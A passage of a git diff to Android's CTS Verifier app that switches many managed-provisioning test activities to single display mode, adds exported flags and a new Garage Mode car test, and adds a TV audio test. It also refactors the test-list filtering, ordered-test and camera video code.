+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.DeviceOwnerPositiveTestActivity"
@@ -3662,7 +3666,7 @@
                        android:value="android.software.lockscreen_disabled" />
             <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.ManagedUserPositiveTestActivity"
@@ -3673,7 +3677,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.DeviceOwnerRequestingBugreportTestActivity"
@@ -3687,19 +3691,19 @@
             <meta-data android:name="test_category" android:value="@string/test_category_managed_provisioning" />
             <meta-data android:name="test_required_features" android:value="android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.NonMarketAppsActivity"
                   android:label="@string/provisioning_byod_non_market_apps">
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.KeyguardDisabledFeaturesActivity"
                 android:label="@string/provisioning_byod_keyguard_disabled_features">
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.CrossProfilePermissionControlActivity"
@@ -3709,13 +3713,13 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.DisallowAppsControlActivity"
                 android:label="@string/provisioning_byod_disallow_apps_control">
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.LockTaskUiTestActivity"
@@ -3725,13 +3729,13 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.WifiLockdownTestActivity"
                 android:label="@string/device_owner_wifi_lockdown_test">
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.VpnTestActivity"
@@ -3741,7 +3745,7 @@
                 <category android:name="android.intent.category.DEFAULT"></category>
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <service android:name=".managedprovisioning.VpnTestActivity$MyTestVpnService"
@@ -3758,7 +3762,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.KeyChainTestActivity"
@@ -3768,7 +3772,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.PermissionLockdownTestActivity"
@@ -3778,7 +3782,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity-alias
@@ -3793,7 +3797,7 @@
         <activity android:name=".managedprovisioning.OrganizationInfoTestActivity"
                 android:label="@string/provisioning_byod_organization_info">
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.PolicyTransparencyTestListActivity"
@@ -3803,7 +3807,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.PolicyTransparencyTestActivity">
@@ -3812,7 +3816,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyTestListActivity"
@@ -3822,7 +3826,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.EnterprisePrivacyTestDefaultAppActivity"
@@ -3866,7 +3870,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.CommandReceiverActivity"
@@ -3877,7 +3881,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.SetSupportMessageActivity">
@@ -3886,7 +3890,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <service android:name=".managedprovisioning.PolicyTransparencyTestActivity$TestInputMethod"
@@ -3913,7 +3917,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.ByodFlowTestActivity"
@@ -3938,7 +3942,7 @@
             <meta-data android:name="test_category" android:value="@string/test_category_managed_provisioning" />
             <meta-data android:name="test_required_features" android:value="android.software.managed_users:android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <receiver
@@ -3957,12 +3961,12 @@
             <meta-data android:name="test_category" android:value="@string/test_category_managed_provisioning" />
             <meta-data android:name="test_required_features" android:value="android.software.managed_users:android.software.device_admin" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.ByodProvisioningTestActivity$ProvisioningStartingActivity" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.ByodHelperActivity">
@@ -3997,7 +4001,7 @@
                 <category android:name="android.intent.category.DEFAULT"></category>
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.ByodPrimaryHelperActivity">
@@ -4006,13 +4010,13 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.NfcTestActivity">
             <meta-data android:name="test_required_features" android:value="android.hardware.nfc" />
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <provider
@@ -4031,7 +4035,7 @@
                 <category android:name="android.intent.category.DEFAULT"></category>
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.HandleIntentActivity"
@@ -4105,7 +4109,7 @@
                 <data android:scheme="market" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.CrossProfileTestActivity">
@@ -4127,7 +4131,7 @@
                 <category android:name="android.intent.category.DEFAULT" />
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.WorkStatusTestActivity">
@@ -4137,13 +4141,13 @@
                 <category android:name="android.intent.category.DEFAULT"></category>
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.TurnOffWorkActivity"
                   android:label="@string/provisioning_byod_turn_off_work">
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <activity android:name=".managedprovisioning.WorkProfileWidgetActivity"
@@ -4153,7 +4157,7 @@
                 <category android:name="android.intent.category.DEFAULT"/>
             </intent-filter>
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <receiver android:name=".managedprovisioning.DeviceAdminTestReceiver"
@@ -4256,6 +4260,19 @@
                        android:value="multi_display_mode" />
         </activity>
 
+        <activity android:name=".tv.audio.AudioCapabilitiesTestActivity"
+                  android:label="@string/tv_audio_capabilities_test"
+                  android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_tv" />
+            <meta-data android:name="test_required_features"
+                       android:value="android.software.leanback" />
+            <meta-data android:name="display_mode"
+                       android:value="multi_display_mode" />
+        </activity>
         <activity android:name=".tv.display.DisplayHdrCapabilitiesTestActivity"
                   android:label="@string/tv_hdr_capabilities_test"
                   android:configChanges="orientation|screenSize|density|smallestScreenSize|screenLayout">
@@ -4283,7 +4300,6 @@
                        android:value="multi_display_mode" />
         </activity>
 
-
         <activity android:name=".screenpinning.ScreenPinningTestActivity"
             android:label="@string/screen_pinning_test">
             <intent-filter>
@@ -4634,6 +4650,7 @@
         </receiver>
 
         <activity android:name=".car.CarDockTestActivity"
+                android:exported="true"
                 android:label="@string/car_dock_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4660,6 +4677,7 @@
 
         <!-- See explaination in CarDockTestActivity.java -->
         <activity-alias android:name=".car.CarDockActivity1"
+                android:exported="true"
             android:targetActivity=".car.CarDockActivity" >
             <meta-data
                 android:name="android.dock_home"
@@ -4671,8 +4689,23 @@
             </intent-filter>
         </activity-alias>
 
+        <service android:name=
+            "com.android.cts.verifier.car.GarageModeChecker"
+            android:permission="android.permission.BIND_JOB_SERVICE" />
+        <activity android:name=".car.GarageModeTestActivity"
+                android:label="@string/car_garage_mode_test">
+            <intent-filter>
+                <action android:name="android.intent.action.MAIN" />
+                <category android:name="android.cts.intent.category.MANUAL_TEST" />
+            </intent-filter>
+            <meta-data android:name="test_category" android:value="@string/test_category_car" />
+            <meta-data android:name="test_required_features"
+                android:value="android.hardware.type.automotive"/>
+        </activity>
+
         <activity-alias android:name=".car.CarDockActivity2"
             android:targetActivity=".car.CarDockActivity"
+                android:exported="true"
             android:enabled="false" >
             <meta-data
                 android:name="android.dock_home"
@@ -4685,6 +4718,7 @@
         </activity-alias>
 
         <activity android:name=".car.GearSelectionTestActivity"
+                android:exported="true"
                 android:label="@string/gear_selection_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4699,6 +4733,7 @@
         </activity>
 
         <activity android:name=".car.NightModeTestActivity"
+                android:exported="true"
                 android:label="@string/night_mode_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -4713,6 +4748,7 @@
         </activity>
 
         <activity android:name=".car.ParkingBrakeOnTestActivity"
+                android:exported="true"
                 android:label="@string/parking_brake_on_test">
             <intent-filter>
                 <action android:name="android.intent.action.MAIN" />
@@ -5037,7 +5073,7 @@
         <activity android:name=".managedprovisioning.LockscreenMessageTestActivity"
             android:label="@string/device_owner_customize_lockscreen_message" >
             <meta-data android:name="display_mode"
-                       android:value="multi_display_mode" />
+                       android:value="single_display_mode" />
         </activity>
 
         <service android:name="com.android.cts.verifier.telecom.CtsConnectionService"
diff --git a/apps/CtsVerifier/res/layout/garage_test_main.xml b/apps/CtsVerifier/res/layout/garage_test_main.xml
new file mode 100644
index 0000000..5073523
--- /dev/null
+++ b/apps/CtsVerifier/res/layout/garage_test_main.xml
@@ -0,0 +1,46 @@
+<?xml version="1.0" encoding="utf-8"?>
+<!-- Copyright (C) 2020 The Android Open Source Project
+
+     Licensed under the Apache License, Version 2.0 (the "License");
+     you may not use this file except in compliance with the License.
+     You may obtain a copy of the License at
+
+          http://www.apache.org/licenses/LICENSE-2.0
+
+     Unless required by applicable law or agreed to in writing, software
+     distributed under the License is distributed on an "AS IS" BASIS,
+     WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+     See the License for the specific language governing permissions and
+     limitations under the License.
+-->
+<com.android.cts.verifier.BoxInsetLayout xmlns:android="http://schemas.android.com/apk/res/android"
+    xmlns:app="http://schemas.android.com/apk/res-auto"
+    android:layout_width="match_parent"
+    android:layout_height="match_parent">
+    <LinearLayout app:ctsv_layout_box="all"
+        android:layout_width="fill_parent"
+        android:layout_height="fill_parent"
+        android:orientation="vertical" >
+        <include layout="@layout/pass_fail_buttons"/>
+        <TextView
+            android:layout_width="match_parent"
+            android:layout_height="wrap_content"
+            android:paddingVertical="12dp"
+            android:paddingHorizontal="24dp"
+            android:id="@+id/car_garage_mode_results"/>
+        <Button
+            android:id="@+id/car_wifi_settings"
+            android:layout_height="100dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_wifi_settings"/>
+        <Button
+            android:id="@+id/launch_garage_monitor"
+            android:layout_height="100dp"
+            android:layout_width="500dp"
+            android:layout_gravity="center"
+            android:layout_marginTop="10dp"
+            android:text="@string/car_enable_garage_monitor"/>
+    </LinearLayout>
+</com.android.cts.verifier.BoxInsetLayout>
diff --git a/apps/CtsVerifier/res/values/strings.xml b/apps/CtsVerifier/res/values/strings.xml
old mode 100755
new mode 100644
index ea3bcbe..7be7cc3
--- a/apps/CtsVerifier/res/values/strings.xml
+++ b/apps/CtsVerifier/res/values/strings.xml
@@ -128,6 +128,18 @@
     <string name="da_tapjacking_test_info">This test checks that an activity cannot tapjack the
         user by obscuring the device admin details while prompting the user to activate the admin.
     </string>
+    <string name="car_enable_garage_monitor">Enable Garage Mode Monitor</string>
+    <string name="car_garage_mode_test">Garage Mode Test</string>
+    <string name="car_garage_mode_test_desc">
+        This test verifies that Garage Mode runs at the end of a drive.\n\n
+        Optional: Disable Wi-Fi to minimize other activity during the test.\n\n
+        Touch "Enable Garage Mode Monitor" to launch the Garage Mode verifier.\n\n
+        Turn the vehicle off and exit the vehicle (or take the proprietary action that
+        initiates shut-down of the system).\n\n
+        Do not enter or disturb the vehicle for at least 15 minutes.\n\n
+        Enter the vehicle. Re-launch the CTS-Verifier app if it is not running.\n\n
+        If Garage Mode ran as required, the pass button will be enabled.</string>
+    <string name="car_wifi_settings">Go to Wi-Fi settings</string>
     <string name="car_dock_test">Car Dock Test</string>
     <string name="car_dock_test_desc">This test ensures that car mode opens the app associated with
         car dock when going into car mode.\n\n
@@ -322,7 +334,7 @@
     <string name="biometric_test_set_user_authentication_biometric_or_credential_signature_label">4f: Signature, Biometric|Credential</string>
     <string name="biometric_test_set_user_authentication_credential_mac_label">4g: MAC, Credential</string>
     <string name="biometric_test_set_user_authentication_biometric_mac_label">4h: MAC, Biometric</string>
-    <string name="biometric_test_set_user_authentication_biometric_or_credential_mac_label">4h: MAC, Biometric|Credential</string>
+    <string name="biometric_test_set_user_authentication_biometric_or_credential_mac_label">4i: MAC, Biometric|Credential</string>
     <string name="biometric_test_set_user_authentication_credential_instructions">This test checks the correctness of the KeyGenParameterSpec.Builder#setUserAuthenticationParameters(int, int) API for AUTH_DEVICE_CREDENTIAL.
         Buttons for completed tasks will become invisible. It\'s normal for buttons to be disabled for a few seconds during this test.</string>
     <string name="biometric_test_set_user_authentication_biometric_instructions">This test checks the correctness of the KeyGenParameterSpec.Builder#setUserAuthenticationParameters(int, int) API for AUTH_BIOMETRIC_STRONG.
@@ -2186,6 +2198,11 @@
         dismiss them.
     </string>
     <string name="msg_extras_preserved">Check that Message extras Bundle was preserved.</string>
+    <string name="conversation_section_ordering">If this device supports conversation notifications,
+        and groups them into a separate section from alerting and silent non-conversation
+        notifications, fully expand the notification display and verify that the \"Person A\"
+        notification appears before the "\Non-Person Notification\".
+        If this device does not support conversation notifications or does not group them together, press Pass.</string>
     <string name="qs_media_player_title">QS Media Controls Test</string>
     <string name="qs_media_player_test">Media Controls Test</string>
     <string name="qs_media_player_info">This test checks that media controls appear in the
@@ -2334,7 +2351,7 @@
     <string name="caboot_install_cert">Install credential</string>
     <string name="caboot_remove_screen_lock">Remove screen lock</string>
     <string name="caboot_reboot_desc">Please reboot the device and return to this test.</string>
-    <string name="caboot_after_boot">AFTER REBOOTING: Check that there is a notification that the network may be monitored. Opening that notification should show a dialog box giving more information, with a button to check trusted credentials. This should open up the same view of trusted credentials that you get via the "Check credentials" button.</string>
+    <string name="caboot_after_boot">AFTER REBOOTING: Check that there is a notification saying a certificate authority is installed. Opening that notification should show a dialog box giving more information, with a button to check trusted credentials. This should open up the same view of trusted credentials that you get via the "Check credentials" button.</string>
 
     <!-- Strings for KeyChain -->
     <string name="keychain_test">KeyChain Storage Test</string>
@@ -4647,6 +4664,16 @@
     <!-- Common strings for the TV Display tests -->
     <string name="tv_start_test">Start Test</string>
 
+    <!-- Audio Capabilities test -->
+    <string name="tv_audio_capabilities_test">Audio Capabilities Test</string>
+    <string name="tv_audio_capabilities_test_info">This test checks if AudioDeviceInfo and
+    AudioTrack#isDirectPlaybackSupported APIs correctly report the Audio capabilities
+    of the connected audio devices.</string>
+    <string name="tv_audio_capabilities_no_receiver_connected">Disconnect all receivers or
+    soundbars which are connected. </string>
+    <string name="tv_audio_capabilities_receiver_connected">Connect a receiver or
+    soundbar which can play Dolby Atmos. </string>
+
     <!-- HDR Capabilities test -->
     <string name="tv_hdr_capabilities_test">HDR Capabilities Test</string>
     <string name="tv_hdr_capabilities_test_step_hdr_display">HDR Display</string>
@@ -5571,16 +5598,16 @@
     1. Click Start Test. \n\n
     2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
     3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
-    4. Skip this step in china version. \n\n
+    4. Check if Instant App is shown in notifciation area with the following (Please expand the notification if it is collapsed): \n
+    \u0020\u0020\u0020a. It provides information about Instant Apps not requiring installation and an action that provides more information about the Instant App. \n
+    \u0020\u0020\u0020b. It provides an action allowing the user to launch the associated link with web browser. \n\n
     5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
     </string>
     <string name="ia_notification_instruction_label_no_app_market_version">\n
     1. Click Start Test. \n\n
     2. An alert dialog with install instruction will be shown if the sample Instant App has not been installed, otherwise, the sample Instant App will be opened automatically. \n\n
     3. Drag down the notification bar when the sample Instant App is at foreground. \n\n
-    4. Check if Instant App is shown in notification area with the following (Please expand the notification if it is collapsed): \n
-    \u0020\u0020\u0020a. It provides information about Instant Apps not requiring installation and an action that provides more information about the Instant App. \n
-    \u0020\u0020\u0020b. Skip this step in china version.Can not launch the associated link with web browser. \n\n
+    4. Check if Instant App is shown in notification area with information about Instant Apps not requiring installation and an action that provides more information about the Instant App (Please expand the notification if it is collapsed) \n\n
     5. Click Pass button if all checks in step 4 passed, otherwise click Fail button.
     </string>
     <string name="ia_recents">Instant Apps Recents Test</string>
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
index 9680136..f9601de 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/ManifestTestListAdapter.java
@@ -131,6 +131,10 @@
 
     private static final String CONFIG_HDMI_SOURCE = "config_hdmi_source";
 
+    private static final String CONFIG_TV_PANEL = "config_tv_panel";
+
+    private static final String CONFIG_QUICK_SETTINGS_SUPPORTED = "config_quick_settings_supported";
+
     /** The config to represent that a test is only needed to run in the main display mode
      * (i.e. unfolded) */
     private static final String SINGLE_DISPLAY_MODE = "single_display_mode";
@@ -421,24 +425,23 @@
                         }
                         break;
                     case CONFIG_HAS_RECENTS:
-                        final Resources systemRes = mContext.getResources().getSystem();
-                        final int id = systemRes.getIdentifier("config_hasRecents", "bool",
-                                "android");
-                        if (id == Resources.ID_NULL || !systemRes.getBoolean(id)) {
+                        if (!getSystemResourceFlag("config_hasRecents")) {
                             return false;
                         }
                         break;
                     case CONFIG_HDMI_SOURCE:
-                        final int DEVICE_TYPE_HDMI_SOURCE = 4;
-                        try {
-                            if (!getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
-                                return false;
-                            }
-                        } catch (Exception exception) {
-                            Log.e(
-                                    LOG_TAG,
-                                    "Exception while looking up HDMI device type.",
-                                    exception);
+                        if(isTvPanel()) {
+                            return false;
+                        }
+                        break;
+                    case CONFIG_TV_PANEL:
+                        if(!isTvPanel()) {
+                            return false;
+                        }
+                        break;
+                    case CONFIG_QUICK_SETTINGS_SUPPORTED:
+                        if (!getSystemResourceFlag("config_quickSettingsSupported")) {
+                            return false;
                         }
                         break;
                     default:
@@ -449,6 +452,21 @@
         return true;
     }
 
+    private boolean isTvPanel() {
+        final int DEVICE_TYPE_HDMI_SOURCE = 4;
+        try {
+            if (getHdmiDeviceType().contains(DEVICE_TYPE_HDMI_SOURCE)) {
+                return false;
+            }
+        } catch (Exception exception) {
+            Log.e(
+                    LOG_TAG,
+                    "Exception while looking up HDMI device type.",
+                    exception);
+        }
+        return true;
+    }
+
     /**
      * Check if the test should be ran by the given display mode.
      *
@@ -470,6 +488,17 @@
         }
     }
 
+    private boolean getSystemResourceFlag(String key) {
+        final Resources systemRes = mContext.getResources().getSystem();
+        final int id = systemRes.getIdentifier(key, "bool", "android");
+        if (id == Resources.ID_NULL) {
+            // The flag being queried should exist in
+            // frameworks/base/core/res/res/values/config.xml.
+            throw new RuntimeException("System resource flag " + key + " not found");
+        }
+        return systemRes.getBoolean(id);
+    }
+
     private static List<Integer> getHdmiDeviceType()
             throws InvocationTargetException, IllegalAccessException, ClassNotFoundException,
                     NoSuchMethodException {
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
index d24fdb7..1e5eb57 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/OrderedTestActivity.java
@@ -63,8 +63,7 @@
     @Override
     protected void onStart() {
         super.onStart();
-
-        mTests[mTestIndex].run();
+        processCurrentTest();
     }
 
     /** Returns a list of tests to run in order. */
@@ -80,16 +79,7 @@
     protected void succeed() {
         runOnUiThread(() -> {
             mTestIndex++;
-            if (mTestIndex < mTests.length) {
-                mTests[mTestIndex].run();
-            } else {
-                // On test completion, hide "next" and "fail" buttons, and show "pass" button
-                // instead.
-                mInstructions.setText(R.string.tests_completed_successfully);
-                mNextButton.setVisibility(View.GONE);
-                findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
-                findViewById(R.id.fail_button).setVisibility(View.GONE);
-            }
+            processCurrentTest();
         });
     }
 
@@ -97,6 +87,22 @@
         Toast.makeText(this, stringResId, Toast.LENGTH_SHORT).show();
     }
 
+    /**
+     * Must be invoked on the main thread
+     */
+    private void processCurrentTest() {
+        if (mTestIndex < mTests.length) {
+            mTests[mTestIndex].run();
+        } else {
+            // On test completion, hide "next" and "fail" buttons, and show "pass" button
+            // instead.
+            mInstructions.setText(R.string.tests_completed_successfully);
+            mNextButton.setVisibility(View.GONE);
+            findViewById(R.id.pass_button).setVisibility(View.VISIBLE);
+            findViewById(R.id.fail_button).setVisibility(View.GONE);
+        }
+    }
+
     protected abstract class Test {
         private final int mStringId;
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/admin/ScreenLockTestActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/admin/ScreenLockTestActivity.java
index 41217a6..adae240 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/admin/ScreenLockTestActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/admin/ScreenLockTestActivity.java
@@ -96,6 +96,11 @@
     @Override
     protected void onDestroy() {
         super.onDestroy();
+        if (mDevicePolicyManager.isAdminActive(
+                DeviceAdminTestReceiver.getReceiverComponentName())) {
+            mDevicePolicyManager.removeActiveAdmin(
+                DeviceAdminTestReceiver.getReceiverComponentName());
+        }
         unregisterReceiver(mReceiver);
     }
 
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
index 09d705f..d3fa699 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/audio/RingerModeActivity.java
@@ -808,6 +808,11 @@
 
         @Override
         protected void test() {
+            if (mSkipRingerTests) {
+                status = PASS;
+                return;
+            }
+
             int volume, volumeDelta;
             int[] streams = {STREAM_MUSIC,
                     AudioManager.STREAM_VOICE_CALL,
@@ -1000,6 +1005,7 @@
         @Override
         protected void test() {
             if (mSkipRingerTests) {
+                status = PASS;
                 return;
             }
             int[] streams = { AudioManager.STREAM_RING };
@@ -1041,6 +1047,7 @@
         @Override
         protected void test() {
             if (mSkipRingerTests) {
+                status = PASS;
                 return;
             }
             int[] streams = { AudioManager.STREAM_RING };
@@ -1125,6 +1132,7 @@
         @Override
         protected void test() {
             if (mSkipRingerTests) {
+                status = PASS;
                 return;
             }
             int musicVolume = mAudioManager.getStreamVolume(AudioManager.STREAM_MUSIC);
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
index 30df08b..f38ba85 100644
--- a/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/camera/video/CameraVideoActivity.java
@@ -26,6 +26,7 @@
 import android.hardware.camera2.CameraAccessException;
 import android.hardware.camera2.CameraCharacteristics;
 import android.hardware.camera2.CameraManager;
+import android.hardware.cts.helpers.CameraUtils;
 import android.media.CamcorderProfile;
 import android.media.MediaPlayer;
 import android.media.MediaRecorder;
@@ -87,6 +88,7 @@
     private int mCurrentCameraId = -1;
     private Camera mCamera;
     private boolean mIsExternalCamera;
+    private int mVideoFrameRate = -1;
 
     private MediaRecorder mMediaRecorder;
 
@@ -183,6 +185,14 @@
         return Math.max(BIT_RATE_MIN, Math.min(BIT_RATE_MAX, rate));
     }
 
+    private int getVideoFrameRate() {
+        return mVideoFrameRate;
+    }
+
+    private void setVideoFrameRate(int videoFrameRate) {
+        mVideoFrameRate = videoFrameRate;
+    }
+
     private boolean prepareVideoRecorder() {
 
         mMediaRecorder = new MediaRecorder();
@@ -226,6 +236,7 @@
             mMediaRecorder.setAudioEncoder(MediaRecorder.AudioEncoder.DEFAULT);
             mMediaRecorder.setVideoEncodingBitRate(getVideoBitRate(recordSize));
             mMediaRecorder.setVideoSize(recordSize.width, recordSize.height);
+            mMediaRecorder.setVideoFrameRate(getVideoFrameRate());
         } else {
             mMediaRecorder.setProfile(CamcorderProfile.get(mCurrentCameraId, mCurrentVideoSizeId));
         }
@@ -769,6 +780,7 @@
         shutdownCamera();
 
         mCurrentCameraId = id;
+        mIsExternalCamera = isExternalCamera(id);
         try {
             mCamera = Camera.open(id);
         }
@@ -777,7 +789,6 @@
             failTest("camera not available" + e.getMessage());
             return;
         }
-        mIsExternalCamera = isExternalCamera(id);
 
         Camera.Parameters p = mCamera.getParameters();
         if (VERBOSE) {
@@ -798,6 +809,10 @@
             }
         };
 
+        if (mIsExternalCamera) {
+            setVideoFrameRate(p.getPreviewFrameRate());
+        }
+
         SizeCompare s = new SizeCompare();
         TreeSet<Size> sortedResolutions = new TreeSet<Size>(s);
         sortedResolutions.addAll(unsortedSizes);
@@ -958,18 +973,9 @@
     }
 
     private boolean isExternalCamera(int cameraId) {
-        CameraManager manager = (CameraManager) this.getSystemService(Context.CAMERA_SERVICE);
         try {
-            String cameraIdStr = manager.getCameraIdList()[cameraId];
-            CameraCharacteristics characteristics =
-                    manager.getCameraCharacteristics(cameraIdStr);
-
-            if (characteristics.get(CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL) ==
-                            CameraCharacteristics.INFO_SUPPORTED_HARDWARE_LEVEL_EXTERNAL) {
-                // External camera doesn't support FOV informations
-                return true;
-            }
-        } catch (CameraAccessException e) {
+            return CameraUtils.isExternal(this, cameraId);
+        } catch (Exception e) {
             Toast.makeText(this, "Could not access camera " + cameraId +
                     ": " + e.getMessage(), Toast.LENGTH_LONG).show();
         }
diff --git a/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
new file mode 100644
index 0000000..c1875cc
--- /dev/null
+++ b/apps/CtsVerifier/src/com/android/cts/verifier/car/GarageModeChecker.java
@@ -0,0 +1,203 @@
+/*
